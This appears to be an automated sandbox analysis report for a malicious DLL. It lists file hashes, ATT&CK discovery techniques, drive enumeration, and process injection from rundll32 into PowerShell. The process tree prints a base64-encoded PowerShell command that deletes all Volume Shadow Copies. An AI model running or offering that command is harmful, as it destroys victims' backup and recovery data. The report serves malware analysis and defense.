fa52e9a0f3ea72b98d34fd2ebb6f6cf57944e3e5e535add59213f0fc2cb612b9

General

Target

fa52e9a0f3ea72b98d34fd2ebb6f6cf57944e3e5e535add59213f0fc2cb612b9.dll
Size

164KB
MD5

2fa5c892e8c030dc128a2c94e67a69e3
SHA1

8fc5d2fc29fc1a7d0824bbf300f98b26741e7156
SHA256

fa52e9a0f3ea72b98d34fd2ebb6f6cf57944e3e5e535add59213f0fc2cb612b9
SHA512

70b2287921c7bf5f024c5ec01c0ea2e9464f31241e186b85fed74bf8c67ec7a50738b2e1ab7b019b8b7433e09ed3a071420a86e29294aa0dae30ffd16406b3bb

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2004 rundll32.exe
376 powershell.exe

pid	process
2004	rundll32.exe
376	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	376	powershell.exe
Token: SeBackupPrivilege	1120	vssvc.exe
Token: SeRestorePrivilege	1120	vssvc.exe
Token: SeAuditPrivilege	1120	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 2004	1140	rundll32.exe	rundll32.exe
PID 2004 wrote to memory of 376	2004	rundll32.exe	powershell.exe
PID 2004 wrote to memory of 376	2004	rundll32.exe	powershell.exe
PID 2004 wrote to memory of 376	2004	rundll32.exe	powershell.exe
PID 2004 wrote to memory of 376	2004	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fa52e9a0f3ea72b98d34fd2ebb6f6cf57944e3e5e535add59213f0fc2cb612b9.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fa52e9a0f3ea72b98d34fd2ebb6f6cf57944e3e5e535add59213f0fc2cb612b9.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:376

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1120

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/376-56-0x000007FEFC151000-0x000007FEFC153000-memory.dmp

Filesize
8KB

Download
memory/376-57-0x0000000002850000-0x0000000002852000-memory.dmp

Filesize
8KB

Download
memory/376-59-0x0000000002852000-0x0000000002854000-memory.dmp

Filesize
8KB

Download
memory/376-60-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/376-58-0x000007FEF3360000-0x000007FEF3EBD000-memory.dmp

Filesize
11.4MB

Download
memory/376-61-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/2004-55-0x0000000076511000-0x0000000076513000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads